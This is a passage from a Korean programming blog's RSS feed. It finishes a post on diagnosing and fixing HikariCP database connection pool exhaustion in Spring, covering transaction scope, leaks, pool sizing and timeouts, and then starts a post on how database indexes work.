&lt;p&gt;무서운 건 세 번째에서 네 번째로 넘어가는 속도입니다. 대기가 생기기 시작하면 응답이 느려지고, 느려지니까 커넥션을 더 오래 잡고, 그래서 대기가 더 쌓입니다. &lt;strong&gt;되먹임이 걸려서 몇 초 만에 무너집니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그리고 이때 DB는 한가합니다. 실제로 일하는 커넥션은 10개뿐이니까요. 그래서 DB 모니터링만 보면 &quot;아무 문제 없음&quot;으로 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;가장 흔한 원인 — 트랜잭션 안에서 외부 호출&lt;/h2&gt;
&lt;p&gt;실무에서 압도적 1위입니다. 이 코드입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Transactional&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Long&lt;/span&gt; orderId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;Order&lt;/span&gt; order &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; orderRepository&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;orderId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// 커넥션 획득&lt;/span&gt;
    paymentClient&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;approve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;order&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;// 외부 결제 API — 3초&lt;/span&gt;
    order&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setPaid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                           &lt;span class=&quot;token comment&quot;&gt;// 커넥션 반납&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;@Transactional&lt;/code&gt;이 붙는 순간 &lt;strong&gt;메서드 시작에서 커넥션을 잡고 끝날 때까지 놓지 않습니다.&lt;/strong&gt; 가운데 있는 외부 API 호출 3초 동안, 이 커넥션은 아무 일도 안 하면서 점유돼 있습니다.&lt;/p&gt;
&lt;p&gt;풀이 10개일 때 이 API가 초당 4번만 들어와도 계산이 이렇게 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;4 req/s × 3초 점유 = 항상 12개가 필요
→ 풀 10개로는 부족 → 대기 → 고갈&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;초당 4건짜리 트래픽에 서버가 죽습니다.&lt;/strong&gt; 결제사가 느려지기라도 하면 더 빨리 무너지고요.&lt;/p&gt;
&lt;h3&gt;고치는 방법 — 트랜잭션을 쪼갠다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Long&lt;/span&gt; orderId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;Order&lt;/span&gt; order &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; txTemplate&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; orderRepository&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;orderId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 20ms&lt;/span&gt;

    paymentClient&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;approve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;order&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                                          &lt;span class=&quot;token comment&quot;&gt;// 커넥션 없이 3초&lt;/span&gt;

    txTemplate&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; orderRepository&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;markPaid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;orderId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;// 20ms&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;점유 시간이 &lt;strong&gt;3초에서 40ms로 줄었습니다.&lt;/strong&gt; 같은 풀 10개로 훨씬 많은 요청을 처리합니다.&lt;/p&gt;
&lt;p&gt;원칙은 한 줄입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;트랜잭션 안에서는 DB 작업만 한다. 외부 호출·파일 IO·무거운 계산은 밖으로 뺀다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;나머지 원인 4가지&lt;/h2&gt;
&lt;h3&gt;1. 커넥션 누수&lt;/h3&gt;
&lt;p&gt;가져간 커넥션을 반납하지 않는 경우입니다. &lt;code class=&quot;language-text&quot;&gt;try-with-resources&lt;/code&gt;를 안 쓴 JDBC 코드나, 트랜잭션 밖에서 직접 커넥션을 여는 코드에서 나옵니다.&lt;/p&gt;
&lt;p&gt;누수는 &lt;strong&gt;재시작 후 서서히 늘어나다가 며칠 뒤 터지는&lt;/strong&gt; 패턴이라 재현이 어렵습니다. HikariCP에 이 설정을 켜 두세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;datasource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;hikari&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;leak-detection-threshold&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20000&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 20초 이상 점유되면 스택트레이스 로그&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;누수 지점을 스택트레이스로 정확히 찍어 줍니다.&lt;/p&gt;
&lt;h3&gt;2. 느린 쿼리&lt;/h3&gt;
&lt;p&gt;쿼리 하나가 2초 걸리면 그 커넥션은 2초 동안 묶입니다. 원인의 대부분은 인덱스입니다 — 인덱스가 왜 빨라지는지와 걸어도 안 타는 경우는 &lt;a href=&quot;/db-index-how-it-works/&quot;&gt;DB 인덱스는 왜 빨라지나&lt;/a&gt;에 정리해 뒀습니다.&lt;/p&gt;
&lt;h3&gt;3. N+1 쿼리&lt;/h3&gt;
&lt;p&gt;목록 100건을 가져오면서 각 항목마다 추가 쿼리를 날리는 경우입니다. 요청 하나가 커넥션을 잡은 채 쿼리 101번을 실행합니다. 점유 시간이 100배로 늘어납니다.&lt;/p&gt;
&lt;h3&gt;4. 풀 크기를 너무 작게 — 또는 &lt;strong&gt;너무 크게&lt;/strong&gt; 잡음&lt;/h3&gt;
&lt;p&gt;작게 잡으면 당연히 부족합니다. 그런데 &lt;strong&gt;크게 잡아도 문제가 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;풀을 100으로 올리면 DB에 동시 쿼리 100개가 몰립니다. DB의 CPU 코어는 그대로인데 컨텍스트 스위칭과 락 경합만 늘어서 &lt;strong&gt;전체가 더 느려집니다.&lt;/strong&gt; 풀을 키웠는데 응답이 더 나빠졌다면 이겁니다.&lt;/p&gt;
&lt;p&gt;HikariCP 문서가 제시하는 출발점은 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;풀 크기 = (CPU 코어 수 × 2) + 디스크 수&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;4코어 서버면 &lt;strong&gt;10 언저리&lt;/strong&gt;입니다. 생각보다 훨씬 작습니다. 그리고 이 값은 &lt;strong&gt;애플리케이션 서버 대수만큼 곱해져서 DB에 도달&lt;/strong&gt;한다는 점을 잊으면 안 됩니다. 서버 5대 × 풀 20이면 DB는 커넥션 100개를 감당해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;증상으로 원인 찾기&lt;/h2&gt;
&lt;p&gt;장애 상황에서 순서대로 보시면 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;증상&lt;/th&gt;
&lt;th&gt;의심할 것&lt;/th&gt;
&lt;th&gt;확인 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;활성이 항상 최대, DB는 한가함&lt;/td&gt;
&lt;td&gt;트랜잭션 안 외부 호출&lt;/td&gt;
&lt;td&gt;느린 API 구간의 &lt;code class=&quot;language-text&quot;&gt;@Transactional&lt;/code&gt; 범위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재시작 후 서서히 증가&lt;/td&gt;
&lt;td&gt;커넥션 누수&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;leak-detection-threshold&lt;/code&gt; 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;특정 API에서만 발생&lt;/td&gt;
&lt;td&gt;느린 쿼리 · N+1&lt;/td&gt;
&lt;td&gt;해당 쿼리 &lt;code class=&quot;language-text&quot;&gt;EXPLAIN&lt;/code&gt;, 쿼리 실행 횟수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;풀을 키웠는데 더 느려짐&lt;/td&gt;
&lt;td&gt;풀 과대 설정&lt;/td&gt;
&lt;td&gt;DB 쪽 CPU·락 대기 지표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배포 직후부터 발생&lt;/td&gt;
&lt;td&gt;신규 코드의 트랜잭션 범위&lt;/td&gt;
&lt;td&gt;직전 커밋의 &lt;code class=&quot;language-text&quot;&gt;@Transactional&lt;/code&gt; 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 먼저 볼 지표는 &lt;strong&gt;활성 커넥션 수와 대기 스레드 수&lt;/strong&gt;입니다. Spring Boot Actuator를 쓰신다면 바로 나옵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hikaricp.connections.active    # 사용 중
hikaricp.connections.pending   # 대기 중  ← 이게 0보다 크면 이미 위험&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pending&lt;/code&gt;이 0이 아닌 순간이 있다면, 아직 장애가 아니어도 &lt;strong&gt;이미 한계에 닿아 있다&lt;/strong&gt;는 뜻입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;타임아웃은 반드시 걸어 두세요&lt;/h2&gt;
&lt;p&gt;고갈이 무서운 건 &lt;strong&gt;한 서비스의 지연이 전체로 번지기 때문&lt;/strong&gt;입니다. 결제사가 느려지면 커넥션이 묶이고, 그 서버가 죽으면 앞단이 재시도하고, 재시도가 부하를 더 키웁니다.&lt;/p&gt;
&lt;p&gt;그래서 두 가지를 같이 잡아야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;datasource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;hikari&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;connection-timeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3000&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 커넥션 못 받으면 3초 만에 실패&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;max-lifetime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1800000&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 30분마다 커넥션 교체&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;connection-timeout&lt;/code&gt;을 기본값 30초로 두면, 요청 스레드가 30초씩 붙잡혀서 &lt;strong&gt;서버 스레드까지 같이 고갈됩니다.&lt;/strong&gt; 빨리 실패하는 편이 낫습니다.&lt;/p&gt;
&lt;p&gt;그리고 앞단에서 재시도 폭주를 끊어 주는 장치가 필요합니다. 서킷 브레이커와 레이트 리밋은 &lt;a href=&quot;/api-gateway-guide/&quot;&gt;API 게이트웨이가 하는 일&lt;/a&gt;에서 다뤘습니다.&lt;/p&gt;
&lt;p&gt;한계를 미리 알고 싶으시면 부하 테스트로 재현해 보는 게 가장 확실합니다 — &lt;a href=&quot;/jmeter-docker-performance-testing/&quot;&gt;JMeter로 부하 테스트하기&lt;/a&gt;를 참고하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 것&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 풀 크기를 늘리면 해결되지 않나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;일시적으로는 버팁니다. 하지만 원인이 &quot;커넥션을 오래 잡는 코드&quot;라면 트래픽이 조금만 더 늘면 똑같이 터집니다. 그리고 앞서 말씀드린 대로 과하게 키우면 DB 쪽이 먼저 무너집니다. &lt;strong&gt;점유 시간을 줄이는 게 먼저이고, 크기 조정은 그다음입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 스레드 풀을 키우면 더 많이 처리되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;아니요. 오히려 나빠집니다. 스레드가 늘어봐야 커넥션을 못 받아서 대기만 길어지고, 대기 중인 스레드가 메모리를 잡습니다. &lt;strong&gt;병목은 커넥션 풀이지 스레드가 아닙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 읽기 전용 쿼리도 커넥션을 잡나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;잡습니다. 다만 &lt;code class=&quot;language-text&quot;&gt;@Transactional(readOnly = true)&lt;/code&gt;를 붙이면 플러시 모드가 꺼져서 오버헤드가 줄고, 읽기 전용 복제본(Read Replica)으로 라우팅할 수 있는 길이 열립니다. 조회가 많은 서비스라면 읽기와 쓰기의 풀을 분리하는 게 효과적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;커넥션 풀 크기는 &lt;strong&gt;동시 DB 작업의 상한&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;고갈은 대부분 DB가 아니라 &lt;strong&gt;애플리케이션이 커넥션을 오래 붙잡아서&lt;/strong&gt; 생깁니다&lt;/li&gt;
&lt;li&gt;1순위 원인은 &lt;strong&gt;트랜잭션 안의 외부 호출&lt;/strong&gt; — 트랜잭션을 쪼개면 점유 시간이 수십 배 줄어듭니다&lt;/li&gt;
&lt;li&gt;풀은 크게 잡는다고 좋아지지 않습니다. &lt;code class=&quot;language-text&quot;&gt;(코어 수 × 2) + 디스크 수&lt;/code&gt; 에서 출발하세요&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;hikaricp.connections.pending&lt;/code&gt;이 0이 아니면 이미 한계입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;혹시 커넥션 풀 고갈로 장애를 겪어 보셨다면, 원인이 무엇이었나요? 댓글로 남겨 주시면 사례를 모아 다음 글에 정리해 보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[DB 인덱스는 왜 빨라지나 — 풀 스캔부터 인덱스가 안 먹는 경우까지]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/db-index-how-it-works/</link><guid isPermaLink="false">https://blog.javapark.kr/db-index-how-it-works/</guid><pubDate>Sun, 16 Aug 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/4e2a4d07f4e89d32a5793f9a2874e2b8/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3ElEQVR42m2SzW/TMBiHc5raxrEdx853nKRJkyZNytKvdVtXtI5tEMY0aROHgThMgxtiqjiBhJC4cOSC+Df4E0nWIQpMeg625Od9f3r9CkhNkJbWVIf7IHqfmUPdmprOrmHvqNZYMTbx7Xuh1li3Aqr1Hf9XpZJVc2zau5zv2/xhVYUaA6xlt7I7Jdkx6R0SLSVqIpLoH1lWM8x6Ms0UlhOWEZYiJYIkgDQWGo9vwP41PFk2y6W393wwOQJKvN5fohHTYkOPbDNmLGhKFkR2C5qSEgidt99ReVPJjbOP3Ytlefqyar4uAxpyLb5sZ2+C/HWQvY/ySy9pruQvn78SNd4QnRZ0AUuA2kNabz12JVMWchaETuypvk24LvMWtCQSCO9e/Xxx+uO8/Ha4+ES8HegMkF0gI/8TWw5wPsIHc9mJReZtALMBrTt5Mf9QFFfF6DofXeH2DPnbyJ2gqsRvX1JCiadikLZEW0QcYLdCxG4dW+ts03BLfHAsDZ/J43O9eOIOn7JoBs3+6vOrgUnYBxIHxBdlbwWQfYl2BGzk2B3jcCYnC5wd4fQRjubI36rD342tC1lUQ/+GdQXFHdH2VIn2aO/AGJ7oRYnCGfImyN68d+2wlihWn9r1kv0Cr5JXX2URMmMAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/4e2a4d07f4e89d32a5793f9a2874e2b8/a1b3b/thumbnail.webp 215w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/fc700/thumbnail.webp 430w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/521f7/thumbnail.webp 860w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/4e2a4d07f4e89d32a5793f9a2874e2b8/f7886/thumbnail.png 215w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/bc750/thumbnail.png 430w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/3e3fe/thumbnail.png 860w,
/static/4e2a4d07f4e89d32a5793f9a2874e2b8/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/4e2a4d07f4e89d32a5793f9a2874e2b8/3e3fe/thumbnail.png&apos; alt=&apos;DB 인덱스 원리 커버 — 100만 행 풀 스캔 vs 인덱스 3회 조회&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;DB 인덱스 원리 커버 — 100만 행 풀 스캔 vs 인덱스 3회 조회&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;인덱스 걸었는데 왜 여전히 느리죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;인덱스는 &quot;걸면 빨라지는 것&quot;으로 배웁니다. 그런데 실무에서는 &lt;strong&gt;걸었는데 안 빨라지는 경우&lt;/strong&gt;가 꽤 자주 나옵니다. 원리를 모르면 왜 안 먹는지도 알 수 없습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;인덱스는 &quot;정렬된 사본&quot;입니다.&lt;/strong&gt; 정렬돼 있으니 이분 탐색처럼 몇 번 만에 도달할 수 있고, &lt;strong&gt;정렬을 활용할 수 없는 형태로 질의하면 그 순간 무용지물&lt;/strong&gt;이 됩니다. 안 먹는 경우들이 전부 여기서 나옵니다.&lt;/p&gt;
&lt;p&gt;숫자로 먼저 보고 싶으시면 &lt;strong&gt;1분 15초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 100만 행에서 100만 번이 3번이 되는 과정과, 걸어도 안 먹는 5가지를 움직이는 그림으로 보여드립니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=wwHDms3ql84&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 75.81395348837209%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAAAAAAAAAHqZRakAAACWUlEQVR42o2S22vUQBSHU5uZSeZ+y3WyuXSz291mQVqKxUoRlRaloA++WKH65v//J3iyW0sfhY8hGfjm/M6ZibjouRiyfOf8TsiVVGshl0ycONk3ui1lQ2lB0owQR5gnvkRMx8csjjkQcdkLMVi3FWoNptIrpUYmT2C/Np1XTUyLhBVJmiWySF1FpI+RmAFZmsFl67Pp5vzizvut8xvrT6tsfR02V/XqXVhdh1GaRujAdcXfXrDQkcTERMVYRkJ11i8v39zdvP/ms1PnV9qNIRvvu+1XoN9+XKylXQgThA/i9poPS5LaODEo0RETQag2xhDGSd0r00vdUdlGPBzxEPH6iNdUB6ZrCrFfiRQ65z5ODTDLebn6dPv98/2PsJiUbrnpz+vVz+V04Pe4C3nPbBB5Ix/uxLRNqEfMIWpBrpRZgFY3k7a9kA1Xi8x2J3k/5AOsbd5J11BbU1ezcaTlIlF5LDziLmK85KIytrW2Y7wSMnAZCtuWrqt8V/i2yVvjQ2prBgxLVrUgI5EBkRAVZ8VmczntrjjNjWmoaT4s1r/G6XGcHsazP6e7bRgSX8vQq8cv8vUulQVSGZZZlCSOsQzWJPGU5inLqSiIKLHco8pYF8SUqaupD9RUqQuJrREUBxkhiZDC2OzRiMAdWJRaRB1m0JjH0J7KsSmRqbCtZ+DDVLAZHR5aHIsn4KxEwzXAMOeRgik91jnem8QFYP6AX108y08cw7sjz7KfByMzPCf/D3nmn4wPlfexyT7qU2xAly9jvwCr+fXRuW3oeZ8cioNfHo7Yl50H9hc+qEU7rkh5RAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/a1b3b/video-thumb.webp 215w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/fc700/video-thumb.webp 430w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/521f7/video-thumb.webp 860w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/f7886/video-thumb.png 215w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/bc750/video-thumb.png 430w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/3e3fe/video-thumb.png 860w,
/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/3a44c29ac5ff2db424cf5a4e0b09bc5e/3e3fe/video-thumb.png&apos; alt=&apos;DB 인덱스 영상 — 행 수가 100배 늘어도 인덱스 조회는 한 단계만 깊어진다&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;DB 인덱스 영상 — 행 수가 100배 늘어도 인덱스 조회는 한 단계만 깊어진다&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;인덱스가 없으면 — 풀 테이블 스캔&lt;/h2&gt;
&lt;p&gt;100만 행짜리 회원 테이블에서 이메일 하나를 찾는다고 해보겠습니다.&lt;/p&gt;
